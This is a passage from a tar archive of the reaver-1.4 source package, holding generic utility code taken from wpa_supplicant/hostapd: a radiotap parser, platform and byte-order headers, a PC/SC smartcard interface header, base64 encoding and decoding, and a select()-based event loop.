rt_sizes[] = { [IEEE80211_RADIOTAP_TSFT] = 0x88, [IEEE80211_RADIOTAP_FLAGS] = 0x11, [IEEE80211_RADIOTAP_RATE] = 0x11, [IEEE80211_RADIOTAP_CHANNEL] = 0x24, [IEEE80211_RADIOTAP_FHSS] = 0x22, [IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = 0x11, [IEEE80211_RADIOTAP_DBM_ANTNOISE] = 0x11, [IEEE80211_RADIOTAP_LOCK_QUALITY] = 0x22, [IEEE80211_RADIOTAP_TX_ATTENUATION] = 0x22, [IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = 0x22, [IEEE80211_RADIOTAP_DBM_TX_POWER] = 0x11, [IEEE80211_RADIOTAP_ANTENNA] = 0x11, [IEEE80211_RADIOTAP_DB_ANTSIGNAL] = 0x11, [IEEE80211_RADIOTAP_DB_ANTNOISE] = 0x11, [IEEE80211_RADIOTAP_RX_FLAGS] = 0x22, [IEEE80211_RADIOTAP_TX_FLAGS] = 0x22, [IEEE80211_RADIOTAP_RTS_RETRIES] = 0x11, [IEEE80211_RADIOTAP_DATA_RETRIES] = 0x11, /* * add more here as they are defined in * include/net/ieee80211_radiotap.h */ }; /* * for every radiotap entry we can at * least skip (by knowing the length)... */ while (iterator->arg_index < (int) sizeof(rt_sizes)) { int hit = 0; int pad; if (!(iterator->bitmap_shifter & 1)) goto next_entry; /* arg not present */ /* * arg is present, account for alignment padding * 8-bit args can be at any alignment * 16-bit args must start on 16-bit boundary * 32-bit args must start on 32-bit boundary * 64-bit args must start on 64-bit boundary * * note that total arg size can differ from alignment of * elements inside arg, so we use upper nybble of length * table to base alignment on * * also note: these alignments are ** relative to the * start of the radiotap header **. There is no guarantee * that the radiotap header itself is aligned on any * kind of boundary. * * the above is why get_unaligned() is used to dereference * multibyte elements from the radiotap area */ pad = (((ulong)iterator->arg) - ((ulong)iterator->rtheader)) & ((rt_sizes[iterator->arg_index] >> 4) - 1); if (pad) iterator->arg += (rt_sizes[iterator->arg_index] >> 4) - pad; /* * this is what we will return to user, but we need to * move on first so next call has something fresh to test */ iterator->this_arg_index = iterator->arg_index; iterator->this_arg = iterator->arg; hit = 1; /* internally move on the size of this arg */ iterator->arg += rt_sizes[iterator->arg_index] & 0x0f; /* * check for insanity where we are given a bitmap that * claims to have more arg content than the length of the * radiotap section. We will normally end up equalling this * max_length on the last arg, never exceeding it. */ if (((ulong)iterator->arg - (ulong)iterator->rtheader) > (ulong) iterator->max_length) return -EINVAL; next_entry: iterator->arg_index++; if (unlikely((iterator->arg_index & 31) == 0)) { /* completed current u32 bitmap */ if (iterator->bitmap_shifter & 1) { /* b31 was set, there is more */ /* move to next u32 bitmap */ iterator->bitmap_shifter = le32_to_cpu( get_unaligned(iterator->next_bitmap)); iterator->next_bitmap++; } else /* no more bitmaps: end */ iterator->arg_index = sizeof(rt_sizes); } else /* just try the next bit */ iterator->bitmap_shifter >>= 1; /* if we found a valid arg earlier, return it now */ if (hit) return 0; } /* we don't know how to handle any more args, we're done */ return -ENOENT; } reaver-1.4/src/utils/includes.h0000755000175000017500000000302711705505257016116 0ustar reaverreaver/* * wpa_supplicant/hostapd - Default include files * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This header file is included into all C files so that commonly used header * files can be selected with OS specific ifdef blocks in one place instead of * having to have OS/C library specific selection in many files. */ #ifndef INCLUDES_H #define INCLUDES_H /* Include possible build time configuration before including anything else */ #include "build_config.h" #include #include #include #include #ifndef _WIN32_WCE #ifndef CONFIG_TI_COMPILER #include #include #endif /* CONFIG_TI_COMPILER */ #include #endif /* _WIN32_WCE */ #include #include #ifndef CONFIG_TI_COMPILER #ifndef _MSC_VER #include #endif /* _MSC_VER */ #endif /* CONFIG_TI_COMPILER */ #ifndef CONFIG_NATIVE_WINDOWS #ifndef CONFIG_TI_COMPILER #include #include #include #ifndef __vxworks #ifndef __SYMBIAN32__ #include #endif /* __SYMBIAN32__ */ #include #endif /* __vxworks */ #endif /* CONFIG_TI_COMPILER */ #endif /* CONFIG_NATIVE_WINDOWS */ #endif /* INCLUDES_H */ reaver-1.4/src/utils/pcsc_funcs.h0000755000175000017500000000370211705505257016436 0ustar reaverreaver/* * WPA Supplicant / PC/SC smartcard interface for USIM, GSM SIM * Copyright (c) 2004-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef PCSC_FUNCS_H #define PCSC_FUNCS_H /* GSM files * File type in first octet: * 3F = Master File * 7F = Dedicated File * 2F = Elementary File under the Master File * 6F = Elementary File under a Dedicated File */ #define SCARD_FILE_MF 0x3F00 #define SCARD_FILE_GSM_DF 0x7F20 #define SCARD_FILE_UMTS_DF 0x7F50 #define SCARD_FILE_GSM_EF_IMSI 0x6F07 #define SCARD_FILE_EF_DIR 0x2F00 #define SCARD_FILE_EF_ICCID 0x2FE2 #define SCARD_FILE_EF_CK 0x6FE1 #define SCARD_FILE_EF_IK 0x6FE2 #define SCARD_CHV1_OFFSET 13 #define SCARD_CHV1_FLAG 0x80 typedef enum { SCARD_GSM_SIM_ONLY, SCARD_USIM_ONLY, SCARD_TRY_BOTH } scard_sim_type; #ifdef PCSC_FUNCS struct scard_data * scard_init(scard_sim_type sim_type); void scard_deinit(struct scard_data *scard); int scard_set_pin(struct scard_data *scard, const char *pin); int scard_get_imsi(struct scard_data *scard, char *imsi, size_t *len); int scard_gsm_auth(struct scard_data *scard, const unsigned char *_rand, unsigned char *sres, unsigned char *kc); int scard_umts_auth(struct scard_data *scard, const unsigned char *_rand, const unsigned char *autn, unsigned char *res, size_t *res_len, unsigned char *ik, unsigned char *ck, unsigned char *auts); #else /* PCSC_FUNCS */ #define scard_init(s) NULL #define scard_deinit(s) do { } while (0) #define scard_set_pin(s, p) -1 #define scard_get_imsi(s, i, l) -1 #define scard_gsm_auth(s, r, s2, k) -1 #define scard_umts_auth(s, r, a, r2, rl, i, c, a2) -1 #endif /* PCSC_FUNCS */ #endif /* PCSC_FUNCS_H */ reaver-1.4/src/utils/common.h0000755000175000017500000003101611705505257015577 0ustar reaverreaver/* * wpa_supplicant/hostapd / common helper functions, etc. * Copyright (c) 2002-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef COMMON_H #define COMMON_H #include "os.h" #if defined(__linux__) || defined(__GLIBC__) #include #include #endif /* __linux__ */ #if defined(__FreeBSD__) || defined(__NetBSD__) || defined(__DragonFly__) || \ defined(__OpenBSD__) #include #include #define __BYTE_ORDER _BYTE_ORDER #define __LITTLE_ENDIAN _LITTLE_ENDIAN #define __BIG_ENDIAN _BIG_ENDIAN #ifdef __OpenBSD__ #define bswap_16 swap16 #define bswap_32 swap32 #define bswap_64 swap64 #else /* __OpenBSD__ */ #define bswap_16 bswap16 #define bswap_32 bswap32 #define bswap_64 bswap64 #endif /* __OpenBSD__ */ #endif /* defined(__FreeBSD__) || defined(__NetBSD__) || * defined(__DragonFly__) || defined(__OpenBSD__) */ #ifdef __APPLE__ #include #include #define __BYTE_ORDER _BYTE_ORDER #define __LITTLE_ENDIAN _LITTLE_ENDIAN #define __BIG_ENDIAN _BIG_ENDIAN static inline unsigned short bswap_16(unsigned short v) { return ((v & 0xff) << 8) | (v >> 8); } static inline unsigned int bswap_32(unsigned int v) { return ((v & 0xff) << 24) | ((v & 0xff00) << 8) | ((v & 0xff0000) >> 8) | (v >> 24); } #endif /* __APPLE__ */ #ifdef CONFIG_TI_COMPILER #define __BIG_ENDIAN 4321 #define __LITTLE_ENDIAN 1234 #ifdef __big_endian__ #define __BYTE_ORDER __BIG_ENDIAN #else #define __BYTE_ORDER __LITTLE_ENDIAN #endif #endif /* CONFIG_TI_COMPILER */ #ifdef __SYMBIAN32__ #define __BIG_ENDIAN 4321 #define __LITTLE_ENDIAN 1234 #define __BYTE_ORDER __LITTLE_ENDIAN #endif /* __SYMBIAN32__ */ #ifdef CONFIG_NATIVE_WINDOWS #include typedef int socklen_t; #ifndef MSG_DONTWAIT #define MSG_DONTWAIT 0 /* not supported */ #endif #endif /* CONFIG_NATIVE_WINDOWS */ #ifdef _MSC_VER #define inline __inline #undef vsnprintf #define vsnprintf _vsnprintf #undef close #define close closesocket #endif /* _MSC_VER */ /* Define platform specific integer types */ #ifdef _MSC_VER typedef UINT64 u64; typedef UINT32 u32; typedef UINT16 u16; typedef UINT8 u8; typedef INT64 s64; typedef INT32 s32; typedef INT16 s16; typedef INT8 s8; #define WPA_TYPES_DEFINED #endif /* _MSC_VER */ #ifdef __vxworks typedef unsigned long long u64; typedef UINT32 u32; typedef UINT16 u16; typedef UINT8 u8; typedef long long s64; typedef INT32 s32; typedef INT16 s16; typedef INT8 s8; #define WPA_TYPES_DEFINED #endif /* __vxworks */ #ifdef CONFIG_TI_COMPILER #ifdef _LLONG_AVAILABLE typedef unsigned long long u64; #else /* * TODO: 64-bit variable not available. Using long as a workaround to test the * build, but this will likely not work for all operations. */ typedef unsigned long u64; #endif typedef unsigned int u32; typedef unsigned short u16; typedef unsigned char u8; #define WPA_TYPES_DEFINED #endif /* CONFIG_TI_COMPILER */ #ifdef __SYMBIAN32__ #define __REMOVE_PLATSEC_DIAGNOSTICS__ #include typedef TUint64 u64; typedef TUint32 u32; typedef TUint16 u16; typedef TUint8 u8; #define WPA_TYPES_DEFINED #endif /* __SYMBIAN32__ */ #ifndef WPA_TYPES_DEFINED #ifdef CONFIG_USE_INTTYPES_H #include #else #include #endif typedef uint64_t u64; typedef uint32_t u32; typedef uint16_t u16; typedef uint8_t u8; typedef int64_t s64; typedef int32_t s32; typedef int16_t s16; typedef int8_t s8; #define WPA_TYPES_DEFINED #endif /* !WPA_TYPES_DEFINED */ /* Define platform specific byte swapping macros */ #if defined(__CYGWIN__) || defined(CONFIG_NATIVE_WINDOWS) static inline unsigned short wpa_swap_16(unsigned short v) { return ((v & 0xff) << 8) | (v >> 8); } static inline unsigned int wpa_swap_32(unsigned int v) { return ((v & 0xff) << 24) | ((v & 0xff00) << 8) | ((v & 0xff0000) >> 8) | (v >> 24); } #define le_to_host16(n) (n) #define host_to_le16(n) (n) #define be_to_host16(n) wpa_swap_16(n) #define host_to_be16(n) wpa_swap_16(n) #define le_to_host32(n) (n) #define be_to_host32(n) wpa_swap_32(n) #define host_to_be32(n) wpa_swap_32(n) #define WPA_BYTE_SWAP_DEFINED #endif /* __CYGWIN__ || CONFIG_NATIVE_WINDOWS */ #ifndef WPA_BYTE_SWAP_DEFINED #ifndef __BYTE_ORDER #ifndef __LITTLE_ENDIAN #ifndef __BIG_ENDIAN #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #if defined(sparc) #define __BYTE_ORDER __BIG_ENDIAN #endif #endif /* __BIG_ENDIAN */ #endif /* __LITTLE_ENDIAN */ #endif /* __BYTE_ORDER */ #if __BYTE_ORDER == __LITTLE_ENDIAN #define le_to_host16(n) ((__force u16) (le16) (n)) #define host_to_le16(n) ((__force le16) (u16) (n)) #define be_to_host16(n) bswap_16((__force u16) (be16) (n)) #define host_to_be16(n) ((__force be16) bswap_16((n))) #define le_to_host32(n) ((__force u32) (le32) (n)) #define host_to_le32(n) ((__force le32) (u32) (n)) #define be_to_host32(n) bswap_32((__force u32) (be32) (n)) #define host_to_be32(n) ((__force be32) bswap_32((n))) #define le_to_host64(n) ((__force u64) (le64) (n)) #define host_to_le64(n) ((__force le64) (u64) (n)) #define be_to_host64(n) bswap_64((__force u64) (be64) (n)) #define host_to_be64(n) ((__force be64) bswap_64((n))) #elif __BYTE_ORDER == __BIG_ENDIAN #define le_to_host16(n) bswap_16(n) #define host_to_le16(n) bswap_16(n) #define be_to_host16(n) (n) #define host_to_be16(n) (n) #define le_to_host32(n) bswap_32(n) #define be_to_host32(n) (n) #define host_to_be32(n) (n) #define le_to_host64(n) bswap_64(n) #define host_to_le64(n) bswap_64(n) #define be_to_host64(n) (n) #define host_to_be64(n) (n) #ifndef WORDS_BIGENDIAN #define WORDS_BIGENDIAN #endif #else #error Could not determine CPU byte order #endif #define WPA_BYTE_SWAP_DEFINED #endif /* !WPA_BYTE_SWAP_DEFINED */ /* Macros for handling unaligned memory accesses */ #define WPA_GET_BE16(a) ((u16) (((a)[0] << 8) | (a)[1])) #define WPA_PUT_BE16(a, val) \ do { \ (a)[0] = ((u16) (val)) >> 8; \ (a)[1] = ((u16) (val)) & 0xff; \ } while (0) #define WPA_GET_LE16(a) ((u16) (((a)[1] << 8) | (a)[0])) #define WPA_PUT_LE16(a, val) \ do { \ (a)[1] = ((u16) (val)) >> 8; \ (a)[0] = ((u16) (val)) & 0xff; \ } while (0) #define WPA_GET_BE24(a) ((((u32) (a)[0]) << 16) | (((u32) (a)[1]) << 8) | \ ((u32) (a)[2])) #define WPA_PUT_BE24(a, val) \ do { \ (a)[0] = (u8) ((((u32) (val)) >> 16) & 0xff); \ (a)[1] = (u8) ((((u32) (val)) >> 8) & 0xff); \ (a)[2] = (u8) (((u32) (val)) & 0xff); \ } while (0) #define WPA_GET_BE32(a) ((((u32) (a)[0]) << 24) | (((u32) (a)[1]) << 16) | \ (((u32) (a)[2]) << 8) | ((u32) (a)[3])) #define WPA_PUT_BE32(a, val) \ do { \ (a)[0] = (u8) ((((u32) (val)) >> 24) & 0xff); \ (a)[1] = (u8) ((((u32) (val)) >> 16) & 0xff); \ (a)[2] = (u8) ((((u32) (val)) >> 8) & 0xff); \ (a)[3] = (u8) (((u32) (val)) & 0xff); \ } while (0) #define WPA_GET_LE32(a) ((((u32) (a)[3]) << 24) | (((u32) (a)[2]) << 16) | \ (((u32) (a)[1]) << 8) | ((u32) (a)[0])) #define WPA_PUT_LE32(a, val) \ do { \ (a)[3] = (u8) ((((u32) (val)) >> 24) & 0xff); \ (a)[2] = (u8) ((((u32) (val)) >> 16) & 0xff); \ (a)[1] = (u8) ((((u32) (val)) >> 8) & 0xff); \ (a)[0] = (u8) (((u32) (val)) & 0xff); \ } while (0) #define WPA_GET_BE64(a) ((((u64) (a)[0]) << 56) | (((u64) (a)[1]) << 48) | \ (((u64) (a)[2]) << 40) | (((u64) (a)[3]) << 32) | \ (((u64) (a)[4]) << 24) | (((u64) (a)[5]) << 16) | \ (((u64) (a)[6]) << 8) | ((u64) (a)[7])) #define WPA_PUT_BE64(a, val) \ do { \ (a)[0] = (u8) (((u64) (val)) >> 56); \ (a)[1] = (u8) (((u64) (val)) >> 48); \ (a)[2] = (u8) (((u64) (val)) >> 40); \ (a)[3] = (u8) (((u64) (val)) >> 32); \ (a)[4] = (u8) (((u64) (val)) >> 24); \ (a)[5] = (u8) (((u64) (val)) >> 16); \ (a)[6] = (u8) (((u64) (val)) >> 8); \ (a)[7] = (u8) (((u64) (val)) & 0xff); \ } while (0) #define WPA_GET_LE64(a) ((((u64) (a)[7]) << 56) | (((u64) (a)[6]) << 48) | \ (((u64) (a)[5]) << 40) | (((u64) (a)[4]) << 32) | \ (((u64) (a)[3]) << 24) | (((u64) (a)[2]) << 16) | \ (((u64) (a)[1]) << 8) | ((u64) (a)[0])) #ifndef ETH_ALEN #define ETH_ALEN 6 #endif #ifndef IFNAMSIZ #define IFNAMSIZ 16 #endif #ifndef ETH_P_ALL #define ETH_P_ALL 0x0003 #endif #ifndef ETH_P_PAE #define ETH_P_PAE 0x888E /* Port Access Entity (IEEE 802.1X) */ #endif /* ETH_P_PAE */ #ifndef ETH_P_EAPOL #define ETH_P_EAPOL ETH_P_PAE #endif /* ETH_P_EAPOL */ #ifndef ETH_P_RSN_PREAUTH #define ETH_P_RSN_PREAUTH 0x88c7 #endif /* ETH_P_RSN_PREAUTH */ #ifndef ETH_P_RRB #define ETH_P_RRB 0x890D #endif /* ETH_P_RRB */ #ifdef __GNUC__ #define PRINTF_FORMAT(a,b) __attribute__ ((format (printf, (a), (b)))) #define STRUCT_PACKED __attribute__ ((packed)) #else #define PRINTF_FORMAT(a,b) #define STRUCT_PACKED #endif #ifdef CONFIG_ANSI_C_EXTRA #if !defined(_MSC_VER) || _MSC_VER < 1400 /* snprintf - used in number of places; sprintf() is _not_ a good replacement * due to possible buffer overflow; see, e.g., * http://www.ijs.si/software/snprintf/ for portable implementation of * snprintf. */ int snprintf(char *str, size_t size, const char *format, ...); /* vsnprintf - only used for wpa_msg() in wpa_supplicant.c */ int vsnprintf(char *str, size_t size, const char *format, va_list ap); #endif /* !defined(_MSC_VER) || _MSC_VER < 1400 */ /* getopt - only used in main.c */ int getopt(int argc, char *const argv[], const char *optstring); extern char *optarg; extern int optind; #ifndef CONFIG_NO_SOCKLEN_T_TYPEDEF #ifndef __socklen_t_defined typedef int socklen_t; #endif #endif /* inline - define as __inline or just define it to be empty, if needed */ #ifdef CONFIG_NO_INLINE #define inline #else #define inline __inline #endif #ifndef __func__ #define __func__ "__func__ not defined" #endif #ifndef bswap_16 #define bswap_16(a) ((((u16) (a) << 8) & 0xff00) | (((u16) (a) >> 8) & 0xff)) #endif #ifndef bswap_32 #define bswap_32(a) ((((u32) (a) << 24) & 0xff000000) | \ (((u32) (a) << 8) & 0xff0000) | \ (((u32) (a) >> 8) & 0xff00) | \ (((u32) (a) >> 24) & 0xff)) #endif #ifndef MSG_DONTWAIT #define MSG_DONTWAIT 0 #endif #ifdef _WIN32_WCE void perror(const char *s); #endif /* _WIN32_WCE */ #endif /* CONFIG_ANSI_C_EXTRA */ #ifndef MAC2STR #define MAC2STR(a) (a)[0], (a)[1], (a)[2], (a)[3], (a)[4], (a)[5] #define MACSTR "%02x:%02x:%02x:%02x:%02x:%02x" #endif #ifndef BIT #define BIT(x) (1 << (x)) #endif /* * Definitions for sparse validation * (http://kernel.org/pub/linux/kernel/people/josh/sparse/) */ #ifdef __CHECKER__ #define __force __attribute__((force)) #define __bitwise __attribute__((bitwise)) #else #define __force #define __bitwise #endif typedef u16 __bitwise be16; typedef u16 __bitwise le16; typedef u32 __bitwise be32; typedef u32 __bitwise le32; typedef u64 __bitwise be64; typedef u64 __bitwise le64; #ifndef __must_check #if __GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4) #define __must_check __attribute__((__warn_unused_result__)) #else #define __must_check #endif /* __GNUC__ */ #endif /* __must_check */ int hwaddr_aton(const char *txt, u8 *addr); int hwaddr_aton2(const char *txt, u8 *addr); int hexstr2bin(const char *hex, u8 *buf, size_t len); void inc_byte_array(u8 *counter, size_t len); void wpa_get_ntp_timestamp(u8 *buf); int wpa_snprintf_hex(char *buf, size_t buf_size, const u8 *data, size_t len); int wpa_snprintf_hex_uppercase(char *buf, size_t buf_size, const u8 *data, size_t len); #ifdef CONFIG_NATIVE_WINDOWS void wpa_unicode2ascii_inplace(TCHAR *str); TCHAR * wpa_strdup_tchar(const char *str); #else /* CONFIG_NATIVE_WINDOWS */ #define wpa_unicode2ascii_inplace(s) do { } while (0) #define wpa_strdup_tchar(s) strdup((s)) #endif /* CONFIG_NATIVE_WINDOWS */ const char * wpa_ssid_txt(const u8 *ssid, size_t ssid_len); static inline int is_zero_ether_addr(const u8 *a) { return !(a[0] | a[1] | a[2] | a[3] | a[4] | a[5]); } #include "wpa_debug.h" /* * gcc 4.4 ends up generating strict-aliasing warnings about some very common * networking socket uses that do not really result in a real problem and * cannot be easily avoided with union-based type-punning due to struct * definitions including another struct in system header files. To avoid having * to fully disable strict-aliasing warnings, provide a mechanism to hide the * typecast from aliasing for now. A cleaner solution will hopefully be found * in the future to handle these cases. */ void * __hide_aliasing_typecast(void *foo); #define aliasing_hide_typecast(a,t) (t *) __hide_aliasing_typecast((a)) #endif /* COMMON_H */ reaver-1.4/src/utils/base64.c0000755000175000017500000000676711705505257015405 0ustar reaverreaver/* * Base64 encoding/decoding (RFC1341) * Copyright (c) 2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "os.h" #include "base64.h" static const unsigned char base64_table[65] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /** * base64_encode - Base64 encode * @src: Data to be encoded * @len: Length of the data to be encoded * @out_len: Pointer to output length variable, or %NULL if not used * Returns: Allocated buffer of out_len bytes of encoded data, * or %NULL on failure * * Caller is responsible for freeing the returned buffer. Returned buffer is * nul terminated to make it easier to use as a C string. The nul terminator is * not included in out_len. */ unsigned char * base64_encode(const unsigned char *src, size_t len, size_t *out_len) { unsigned char *out, *pos; const unsigned char *end, *in; size_t olen; int line_len; olen = len * 4 / 3 + 4; /* 3-byte blocks to 4-byte */ olen += olen / 72; /* line feeds */ olen++; /* nul termination */ if (olen < len) return NULL; /* integer overflow */ out = os_malloc(olen); if (out == NULL) return NULL; end = src + len; in = src; pos = out; line_len = 0; while (end - in >= 3) { *pos++ = base64_table[in[0] >> 2]; *pos++ = base64_table[((in[0] & 0x03) << 4) | (in[1] >> 4)]; *pos++ = base64_table[((in[1] & 0x0f) << 2) | (in[2] >> 6)]; *pos++ = base64_table[in[2] & 0x3f]; in += 3; line_len += 4; if (line_len >= 72) { *pos++ = '\n'; line_len = 0; } } if (end - in) { *pos++ = base64_table[in[0] >> 2]; if (end - in == 1) { *pos++ = base64_table[(in[0] & 0x03) << 4]; *pos++ = '='; } else { *pos++ = base64_table[((in[0] & 0x03) << 4) | (in[1] >> 4)]; *pos++ = base64_table[(in[1] & 0x0f) << 2]; } *pos++ = '='; line_len += 4; } if (line_len) *pos++ = '\n'; *pos = '\0'; if (out_len) *out_len = pos - out; return out; } /** * base64_decode - Base64 decode * @src: Data to be decoded * @len: Length of the data to be decoded * @out_len: Pointer to output length variable * Returns: Allocated buffer of out_len bytes of decoded data, * or %NULL on failure * * Caller is responsible for freeing the returned buffer. */ unsigned char * base64_decode(const unsigned char *src, size_t len, size_t *out_len) { unsigned char dtable[256], *out, *pos, in[4], block[4], tmp; size_t i, count, olen; os_memset(dtable, 0x80, 256); for (i = 0; i < sizeof(base64_table) - 1; i++) dtable[base64_table[i]] = (unsigned char) i; dtable['='] = 0; count = 0; for (i = 0; i < len; i++) { if (dtable[src[i]] != 0x80) count++; } if (count == 0 || count % 4) return NULL; olen = count / 4 * 3; pos = out = os_malloc(olen); if (out == NULL) return NULL; count = 0; for (i = 0; i < len; i++) { tmp = dtable[src[i]]; if (tmp == 0x80) continue; in[count] = src[i]; block[count] = tmp; count++; if (count == 4) { *pos++ = (block[0] << 2) | (block[1] >> 4); *pos++ = (block[1] << 4) | (block[2] >> 2); *pos++ = (block[2] << 6) | block[3]; count = 0; } } if (pos > out) { if (in[2] == '=') pos -= 2; else if (in[3] == '=') pos--; } *out_len = pos - out; return out; } reaver-1.4/src/utils/eloop.c0000755000175000017500000003272411705505257015427 0ustar reaverreaver/* * Event loop based on select() loop * Copyright (c) 2002-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "trace.h" #include "list.h" #include "eloop.h" struct eloop_sock { int sock; void *eloop_data; void *user_data; eloop_sock_handler handler; WPA_TRACE_REF(eloop); WPA_TRACE_REF(user); WPA_TRACE_INFO }; struct eloop_timeout { struct dl_list list; struct os_time time; void *eloop_data; void *user_data; eloop_timeout_handler handler; WPA_TRACE_REF(eloop); WPA_TRACE_REF(user); WPA_TRACE_INFO }; struct eloop_signal { int sig; void *user_data; eloop_signal_handler handler; int signaled; }; struct eloop_sock_table { int count; struct eloop_sock *table; int changed; }; struct eloop_data { int max_sock; struct eloop_sock_table readers; struct eloop_sock_table writers; struct eloop_sock_table exceptions; struct dl_list timeout; int signal_count; struct eloop_signal *signals; int signaled; int pending_terminate; int terminate; int reader_table_changed; }; static struct eloop_data eloop; #ifdef WPA_TRACE static void eloop_sigsegv_handler(int sig) { wpa_trace_show("eloop SIGSEGV"); abort(); } static void eloop_trace_sock_add_ref(struct eloop_sock_table *table) { int i; if (table == NULL || table->table == NULL) return; for (i = 0; i < table->count; i++) { wpa_trace_add_ref(&table->table[i], eloop, table->table[i].eloop_data); wpa_trace_add_ref(&table->table[i], user, table->table[i].user_data); } } static void eloop_trace_sock_remove_ref(struct eloop_sock_table *table) { int i; if (table == NULL || table->table == NULL) return; for (i = 0; i < table->count; i++) { wpa_trace_remove_ref(&table->table[i], eloop, table->table[i].eloop_data); wpa_trace_remove_ref(&table->table[i], user, table->table[i].user_data); } } #else /* WPA_TRACE */ #define eloop_trace_sock_add_ref(table) do { } while (0) #define eloop_trace_sock_remove_ref(table) do { } while (0) #endif /* WPA_TRACE */ int eloop_init(void) { os_memset(&eloop, 0, sizeof(eloop)); dl_list_init(&eloop.timeout); #ifdef WPA_TRACE signal(SIGSEGV, eloop_sigsegv_handler); #endif /* WPA_TRACE */ return 0; } static int eloop_sock_table_add_sock(struct eloop_sock_table *table, int sock, eloop_sock_handler handler, void *eloop_data, void *user_data) { struct eloop_sock *tmp; if (table == NULL) return -1; eloop_trace_sock_remove_ref(table); tmp = (struct eloop_sock *) os_realloc(table->table, (table->count + 1) * sizeof(struct eloop_sock)); if (tmp == NULL) return -1; tmp[table->count].sock = sock; tmp[table->count].eloop_data = eloop_data; tmp[table->count].user_data = user_data; tmp[table->count].handler = handler; wpa_trace_record(&tmp[table->count]); table->count++; table->table = tmp; if (sock > eloop.max_sock) eloop.max_sock = sock; table->changed = 1; eloop_trace_sock_add_ref(table); return 0; } static void eloop_sock_table_remove_sock(struct eloop_sock_table *table, int sock) { int i; if (table == NULL || table->table == NULL || table->count == 0) return; for (i = 0; i < table->count; i++) { if (table->table[i].sock == sock) break; } if (i == table->count) return; eloop_trace_sock_remove_ref(table); if (i != table->count - 1) { os_memmove(&table->table[i], &table->table[i + 1], (table->count - i - 1) * sizeof(struct eloop_sock)); } table->count--; table->changed = 1; eloop_trace_sock_add_ref(table); } static void eloop_sock_table_set_fds(struct eloop_sock_table *table, fd_set *fds) { int i; FD_ZERO(fds); if (table->table == NULL) return; for (i = 0; i < table->count; i++) FD_SET(table->table[i].sock, fds); } static void eloop_sock_table_dispatch(struct eloop_sock_table *table, fd_set *fds) { int i; if (table == NULL || table->table == NULL) return; table->changed = 0; for (i = 0; i < table->count; i++) { if (FD_ISSET(table->table[i].sock, fds)) { table->table[i].handler(table->table[i].sock, table->table[i].eloop_data, table->table[i].user_data); if (table->changed) break; } } } static void eloop_sock_table_destroy(struct eloop_sock_table *table) { if (table) { int i; for (i = 0; i < table->count && table->table; i++) { wpa_printf(MSG_INFO, "ELOOP: remaining socket: " "sock=%d eloop_data=%p user_data=%p " "handler=%p", table->table[i].sock, table->table[i].eloop_data, table->table[i].user_data, table->table[i].handler); wpa_trace_dump_funcname("eloop unregistered socket " "handler", table->table[i].handler); wpa_trace_dump("eloop sock", &table->table[i]); } os_free(table->table); } } int eloop_register_read_sock(int sock, eloop_sock_handler handler, void *eloop_data, void *user_data) { return eloop_register_sock(sock, EVENT_TYPE_READ, handler, eloop_data, user_data); } void eloop_unregister_read_sock(int sock) { eloop_unregister_sock(sock, EVENT_TYPE_READ); } static struct eloop_sock_table *eloop_get_sock_table(eloop_event_type type) { switch (type) { case EVENT_TYPE_READ: return &eloop.readers; case EVENT_TYPE_WRITE: return &eloop.writers; case EVENT_TYPE_EXCEPTION: return &eloop.exceptions; } return NULL; } int eloop_register_sock(int sock, eloop_event_type type, eloop_sock_handler handler, void *eloop_data, void *user_data) { struct eloop_sock_table *table; table = eloop_get_sock_table(type); return eloop_sock_table_add_sock(table, sock, handler, eloop_data, user_data); } void eloop_unregister_sock(int sock, eloop_event_type type) { struct eloop_sock_table *table; table = eloop_get_sock_table(type); eloop_sock_table_remove_sock(table, sock); } int eloop_register_timeout(unsigned int secs, unsigned int usecs, eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *tmp; timeout = os_zalloc(sizeof(*timeout)); if (timeout == NULL) return -1; if (os_get_time(&timeout->time) < 0) { os_free(timeout); return -1; } timeout->time.sec += secs; timeout->time.usec += usecs; while (timeout->time.usec >= 1000000) { timeout->time.sec++; timeout->time.usec -= 1000000; } timeout->eloop_data = eloop_data; timeout->user_data = user_data; timeout->handler = handler; wpa_trace_add_ref(timeout, eloop, eloop_data); wpa_trace_add_ref(timeout, user, user_data); wpa_trace_record(timeout); /* Maintain timeouts in order of increasing time */ dl_list_for_each(tmp, &eloop.timeout, struct eloop_timeout, list) { if (os_time_before(&timeout->time, &tmp->time)) { dl_list_add(tmp->list.prev, &timeout->list); return 0; } } dl_list_add_tail(&eloop.timeout, &timeout->list); return 0; } static void eloop_remove_timeout(struct eloop_timeout *timeout) { dl_list_del(&timeout->list); wpa_trace_remove_ref(timeout, eloop, timeout->eloop_data); wpa_trace_remove_ref(timeout, user, timeout->user_data); os_free(timeout); } int eloop_cancel_timeout(eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *prev; int removed = 0; dl_list_for_each_safe(timeout, prev, &eloop.timeout, struct eloop_timeout, list) { if (timeout->handler == handler && (timeout->eloop_data == eloop_data || eloop_data == ELOOP_ALL_CTX) && (timeout->user_data == user_data || user_data == ELOOP_ALL_CTX)) { 